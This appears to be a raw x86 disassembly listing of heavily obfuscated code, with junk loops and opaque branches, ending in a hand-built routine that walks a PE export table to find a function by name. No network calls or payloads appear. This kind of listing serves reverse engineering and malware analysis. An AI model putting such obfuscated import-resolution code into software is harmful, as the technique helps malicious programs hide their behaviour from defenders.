jge 0x8b4d28
mov ecx, dword [ebp - 0x38]
sub ecx, 1
mov dword [ebp - 0x38], ecx
jmp 0x8b4ac8
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
sub eax, 0x96e0
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 8]
mov dword [ebp - 0x54], ecx
jmp 0x8b4d55
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x5c]
jge 0x8b4e22
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x38]
sub eax, 1
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x34]
jge 0x8b4d99
mov dword [ebp - 0xa0], 1
jmp 0x8b4da3
mov dword [ebp - 0xa0], 0
mov eax, dword [ebp - 0x14]
xor eax, dword [ebp - 0xa0]
mov dword [ebp - 0x1a0], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x1a0], 0
je 0x8b4dcd
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x50]
sub ecx, 1
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x10]
jge 0x8b4dfb
mov eax, dword [ebp - 0x4c]
cdq
idiv dword [ebp - 0x44]
cmp eax, dword [ebp - 0x40]
jge 0x8b4dfb
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x40]
jl 0x8b4e0b
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x30]
jl 0x8b4e0b
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x34]
jge 0x8b4e14
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
jmp 0x8b4d4c
mov edx, dword [ebp - 0x3c]
sub edx, 0x2ac3
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0x38], eax
jmp 0x8b4e42
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x28]
jge 0x8b5133
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x58]
sub ecx, 1
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x60]
jge 0x8b4e74
mov dword [ebp - 0xa4], 1
jmp 0x8b4e7e
mov dword [ebp - 0xa4], 0
mov eax, dword [ebp - 0x14]
xor eax, dword [ebp - 0xa4]
je 0x8b4ea2
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0xc]
jge 0x8b4ea2
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x1c]
jge 0x8b4ea2
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x3c]
jl 0x8b4ee0
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x50]
jge 0x8b4ec7
mov dword [ebp - 0xa8], 1
jmp 0x8b4ed1
mov dword [ebp - 0xa8], 0
mov ecx, dword [ebp - 0x4c]
and ecx, dword [ebp - 0xa8]
je 0x8b50f9
mov eax, dword [ebp - 0x10]
cdq
idiv dword [ebp - 0x1c]
test eax, eax
je 0x8b4f14
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1a8], eax
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x1a4]
cmp edx, dword [ebp - 0x1a8]
jl 0x8b4f42
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x44]
jge 0x8b4f36
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 8]
jl 0x8b4f42
mov ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp - 0x24]
jge 0x8b50f9
mov edx, dword [ebp - 0x44]
or edx, dword [ebp - 0x60]
jne 0x8b4f56
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x40]
jge 0x8b50f9
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x50]
jl 0x8b4fa7
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x5c]
jl 0x8b4fa7
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
sub ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x14]
jl 0x8b4fa7
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x1ac], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1b0], eax
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x1ac]
cmp edx, dword [ebp - 0x1b0]
jge 0x8b50f9
mov eax, dword [ebp - 0xc]
or eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x58]
jge 0x8b50f9
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x1c]
jge 0x8b4fc6
mov edx, dword [ebp - 0x2c]
or edx, dword [ebp - 0x30]
jne 0x8b4fdb
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x20]
jge 0x8b50f9
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x54]
jl 0x8b503c
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x50]
jl 0x8b503c
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x20]
jge 0x8b50f9
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x1b4], eax
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x1b8], ecx
mov edx, dword [ebp - 0x58]
add edx, 1
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x1b4]
cmp eax, dword [ebp - 0x1b8]
jge 0x8b50f9
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp - 0x14]
jge 0x8b50f9
mov edx, dword [ebp - 0x48]
or edx, dword [ebp - 4]
jne 0x8b50f0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1bc], eax
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x1c0], ecx
mov edx, dword [ebp - 0x1c]
sub edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1bc]
cmp eax, dword [ebp - 0x1c0]
jge 0x8b507d
mov dword [ebp - 0xac], 1
jmp 0x8b5087
mov dword [ebp - 0xac], 0
mov ecx, dword [ebp - 0x18]
xor ecx, dword [ebp - 0xac]
jne 0x8b50f0
mov edx, dword [ebp - 0x34]
imul edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x14]
jge 0x8b50f9
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x10]
jge 0x8b50f9
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x1c4], ecx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x1c8], edx
mov eax, dword [ebp - 0x58]
sub eax, 1
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x1c4]
cmp ecx, dword [ebp - 0x1c8]
jge 0x8b50db
mov dword [ebp - 0xb0], 1
jmp 0x8b50e5
mov dword [ebp - 0xb0], 0
mov edx, dword [ebp - 0x50]
xor edx, dword [ebp - 0xb0]
je 0x8b50f9
mov eax, dword [ebp - 0x24]
sub eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x3c]
je 0x8b511c
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
jmp 0x8b4e39
push 0xe22
push 0xd8c
push 0x5daf
push 0x610
push 0x61b6
push 0x351e
call fcn.0042a7b0
add esp, 0x18
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x68]
add eax, dword [edx + ecx]
mov dword [ebp - 0xb4], eax
call fcn.008a21b0
push 0xce70
push 0xdd63
push 0xd348
push 0xa338
push 0x1866
push 0xe088
push 0x340f
push 0x7841
push 0xf2ab
call fcn.0041dbe0
add esp, 0x24
movsx esi, byte [eax]
push 0x4a63
push 0x1a14
push 0x814b
call fcn.00890330
add esp, 0xc
movsx ecx, byte [eax]
sub esi, ecx
add esi, dword [ebp - 0xb4]
mov ecx, 0x38
lea edi, [ebp - 0x390]
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp - 0x64]
jge 0x8b5213
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x2c]
jge 0x8b51f2
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x5c]
jl 0x8b520a
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x34]
jge 0x8b5213
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x20]
jge 0x8b5213
mov ecx, dword [ebp - 0x1c]
xor ecx, dword [ebp - 0x10]
je 0x8b5213
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0xb4]
add eax, 0x78
mov dword [ebp - 0x1ec], eax
call fcn.0040d180
mov ecx, dword [ebp - 0x4c]
sub ecx, 0x3a57
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x60]
sub edx, dword [ebp - 0x4c]
mov dword [ebp - 0x60], edx
jmp 0x8b5247
mov eax, dword [ebp - 0x60]
add eax, 1
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp - 0x2c]
jge 0x8b5325
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x1d0], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x1d4], ecx
mov edx, dword [ebp - 0x4c]
sub edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x1d0]
cmp eax, dword [ebp - 0x1d4]
jge 0x8b52aa
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 4]
or edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x64]
jge 0x8b52aa
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x24]
jl 0x8b52fc
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x1d8], edx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x1dc], eax
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x1d8]
cmp edx, dword [ebp - 0x1dc]
jge 0x8b5305
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x40]
jge 0x8b52e7
mov dword [ebp - 0xb8], 1
jmp 0x8b52f1
mov dword [ebp - 0xb8], 0
mov ecx, dword [ebp - 0x5c]
or ecx, dword [ebp - 0xb8]
je 0x8b5305
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x64]
sub eax, 1
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
jmp 0x8b523e
mov eax, dword [ebp - 0x50]
sub eax, 0x28d5
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x50]
mov dword [ebp - 0x18], ecx
jmp 0x8b5344
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x1c]
jge 0x8b547f
mov ecx, dword [ebp - 0x20]
sub ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp - 0x24]
jl 0x8b53b2
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x60]
jge 0x8b5387
mov dword [ebp - 0xbc], 1
jmp 0x8b5391
mov dword [ebp - 0xbc], 0
mov eax, dword [ebp - 0x3c]
and eax, dword [ebp - 0xbc]
mov dword [ebp - 0x1e0], eax
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x1e0], 0
je 0x8b53bb
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x54]
cdq
idiv dword [ebp - 0x4c]
test eax, eax
jne 0x8b5410
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x34]
jge 0x8b53f7
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x1e4], ecx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x1e8], edx
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x1e4]
cmp ecx, dword [ebp - 0x1e8]
jl 0x8b5410
mov edx, dword [ebp - 0x48]
sub edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0xc]
jge 0x8b5444
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x28]
je 0x8b5444
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x14]
jge 0x8b5420
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x24]
jl 0x8b543b
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0xc]
jl 0x8b543b
mov edx, dword [ebp - 0x4c]
imul edx, dword [ebp - 0x3c]
test edx, edx
jne 0x8b543b
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 8]
je 0x8b5444
mov ecx, dword [ebp - 0x4c]
sub ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x48]
jge 0x8b5460
mov ecx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x40]
test ecx, ecx
jne 0x8b5468
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 8]
jge 0x8b5471
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x60]
sub ecx, 1
mov dword [ebp - 0x60], ecx
jmp 0x8b533b
mov edx, dword [ebp - 0x48]
add edx, 1
mov dword [ebp - 0x48], edx
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x68]
add eax, dword [edx + ecx]
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x58]
sub ecx, 0xb664
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x4c]
add edx, dword [ebp - 0x58]
mov dword [ebp - 0x4c], edx
jmp 0x8b54bf
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
cmp ecx, dword [ebp - 0x1c]
jge 0x8b565c
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x14]
jge 0x8b54db
mov eax, dword [ebp - 0x50]
sub eax, dword [ebp - 0x30]
jne 0x8b54e3
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 4]
jge 0x8b54ec
mov edx, dword [ebp - 0x50]
sub edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x18]
cdq
idiv dword [ebp - 0x44]
test eax, eax
jne 0x8b5533
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x5c]
jne 0x8b5533
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x64]
jge 0x8b5576
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x14]
jge 0x8b551e
mov dword [ebp - 0xc0], 1
jmp 0x8b5528
mov dword [ebp - 0xc0], 0
mov eax, dword [ebp - 0x24]
or eax, dword [ebp - 0xc0]
je 0x8b5576
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x24]
jge 0x8b5576
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1f0], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x1f4], ecx
mov edx, dword [ebp - 0x38]
sub edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x1f0]
cmp eax, dword [ebp - 0x1f4]
jge 0x8b5576
mov ecx, dword [ebp - 0x28]
sub ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x48]
or edx, dword [ebp - 0x20]
jne 0x8b55b8
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 8]
jl 0x8b55b8
mov ecx, dword [ebp - 0x2c]
xor ecx, dword [ebp - 0x38]
mov dword [ebp - 0x1f8], ecx
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x1f8], 0
je 0x8b55c1
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cdq
idiv dword [ebp - 0x34]
test eax, eax
je 0x8b55c1
mov ecx, dword [ebp - 0x50]
sub ecx, 1
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x28]
jge 0x8b55f6
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp - 0x14]
jge 0x8b55f6
mov eax, dword [ebp - 0x60]
imul eax, dword [ebp - 0x54]
test eax, eax
je 0x8b55f6
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x24]
jl 0x8b5601
mov edx, dword [ebp - 0x18]
xor edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x48]
jge 0x8b564e
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x54]
jge 0x8b563a
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x20]
jge 0x8b563a
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 4]
jge 0x8b5625
mov dword [ebp - 0xc4], 1
jmp 0x8b562f
mov dword [ebp - 0xc4], 0
mov eax, dword [ebp - 0x38]
xor eax, dword [ebp - 0xc4]
jne 0x8b5645
mov ecx, dword [ebp - 0x3c]
or ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp - 0x10]
jge 0x8b564e
mov edx, dword [ebp - 0x3c]
sub edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
jmp 0x8b54b6
call fcn.00401ce0
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x40]
jne 0x8b569b
mov edx, dword [ebp - 0x2c]
and edx, dword [ebp - 0x50]
jne 0x8b569b
mov eax, dword [ebp - 0xc]
sub eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0xc]
jge 0x8b56a4
mov edx, dword [ebp - 0x24]
or edx, dword [ebp - 0x58]
je 0x8b56a4
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 8]
je 0x8b56a4
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x68]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x210], ecx
mov edx, dword [ebp - 0x18]
xor edx, dword [ebp - 0x64]
mov dword [ebp - 0x1fc], edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x200], eax
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x1fc]
cmp edx, dword [ebp - 0x200]
jge 0x8b56e8
mov eax, dword [ebp - 0x38]
sub eax, 1
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x68]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x238], edx
mov eax, dword [ebp - 0x4c]
sub eax, 0xc49
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x54], ecx
jmp 0x8b5716
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x44]
jge 0x8b5784
mov ecx, dword [ebp - 0x20]
sub ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x50]
xor edx, dword [ebp - 0xc]
je 0x8b5740
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jge 0x8b5740
mov ecx, dword [ebp - 0x64]
sub ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x3c]
sub edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x24]
sub eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x34]
sub edx, 1
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0xc]
jge 0x8b5779
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
jmp 0x8b570d
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x68]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x234], ecx
mov edx, dword [ebp - 0x1c]
sub edx, 0x272a
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
jmp 0x8b57b3
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x3c]
jge 0x8b5862
mov eax, dword [ebp - 0x60]
sub eax, 1
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x58]
cmp ecx, dword [ebp - 8]
jge 0x8b57d9
mov edx, dword [ebp - 0x28]
sub edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x40]
sub eax, 1
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x20]
jge 0x8b583a
mov edx, dword [ebp - 0x1c]
xor edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0xc]
jl 0x8b5829
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x2c]
jl 0x8b5829
mov ecx, dword [ebp - 0x44]
sub ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x204], ecx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x208], edx
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x204]
cmp ecx, dword [ebp - 0x208]
jge 0x8b583a
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x50]
jge 0x8b583a
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x40]
add edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x44]
jge 0x8b585d
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
jmp 0x8b57aa
mov dword [ebp - 0x70], 0
jmp 0x8b5874
mov edx, dword [ebp - 0x70]
add edx, 1
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x70]
cmp ecx, dword [eax + 0x18]
jae 0x8b5ae0
mov dword [ebp - 0xd0], 0x239f
mov dword [ebp - 0xe0], 0x13ec4
mov dword [ebp - 0x78], 0xd28f
mov dword [ebp - 0x274], 0x7ad5
mov dword [ebp - 0x278], 0x9d83
mov dword [ebp - 0x27c], 0x12979
mov dword [ebp - 0x20c], 0xf806
mov dword [ebp - 0xdc], 0x13f54
mov dword [ebp - 0x7c], 0x9504
mov dword [ebp - 0xd4], 0x1263f
mov dword [ebp - 0x80], 0x1094a
mov dword [ebp - 0xc8], 0x9c30
mov dword [ebp - 0x224], 0x13df3
mov dword [ebp - 0x218], 0x2d68
mov dword [ebp - 0x280], 0x14d11
mov dword [ebp - 0x214], 0x1cf0
mov dword [ebp - 0xcc], 0x8a63
mov dword [ebp - 0x284], 0x685d
mov dword [ebp - 0x288], 0xa250
mov dword [ebp - 0xd8], 0xad71
mov dword [ebp - 0x28c], 0x317
mov dword [ebp - 0x290], 0x13713
mov dword [ebp - 0x220], 0xb047
mov dword [ebp - 0x294], 0x13e59
mov dword [ebp - 0x298], 0x82f4
mov dword [ebp - 0x6c], 0x12f86
mov dword [ebp - 0x29c], 0x14a81
mov dword [ebp - 0x2a0], 0x2a95
mov dword [ebp - 0x21c], 0xeec0
mov edx, dword [ebp - 0x20c]
cmp edx, dword [ebp - 0x78]
jge 0x8b59b3
mov eax, dword [ebp - 0xc8]
sub eax, 1
mov dword [ebp - 0xc8], eax
mov ecx, dword [ebp - 0x6c]
add ecx, 1
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0xcc]
add edx, 1
mov dword [ebp - 0xcc], edx
call fcn.0088f6d0
call fcn.00406550
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x210]
mov edx, dword [ebp - 0x68]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x230], edx
mov eax, dword [ebp - 0x7c]
add eax, 1
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0xd0]
cmp ecx, dword [ebp - 0x7c]
jl 0x8b5a17
mov edx, dword [ebp - 0x214]
cmp edx, dword [ebp - 0x78]
jge 0x8b5a3a
mov eax, dword [ebp - 0xd8]
or eax, dword [ebp - 0x218]
je 0x8b5a3a
mov ecx, dword [ebp - 0xd0]
add ecx, dword [ebp - 0x21c]
cmp ecx, dword [ebp - 0x220]
jge 0x8b5a3a
mov edx, dword [ebp - 0xd4]
sub edx, 1
mov dword [ebp - 0xd4], edx
mov eax, dword [ebp - 0x80]
add eax, 1
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0xd8]
cmp ecx, dword [ebp - 0x80]
jge 0x8b5a83
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0x228], edx
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x22c], eax
mov ecx, dword [ebp - 0x6c]
add ecx, 1
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x228]
cmp edx, dword [ebp - 0x22c]
jge 0x8b5a83
mov eax, dword [ebp - 0x78]
sub eax, 1
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0xdc]
add ecx, 1
mov dword [ebp - 0xdc], ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x230]
push eax
call fcn.0089ec80
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x8b5adb
mov edx, dword [ebp - 0xe0]
add edx, 1
mov dword [ebp - 0xe0], edx
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x234]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 0x68]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x8b9a84
jmp 0x8b586b
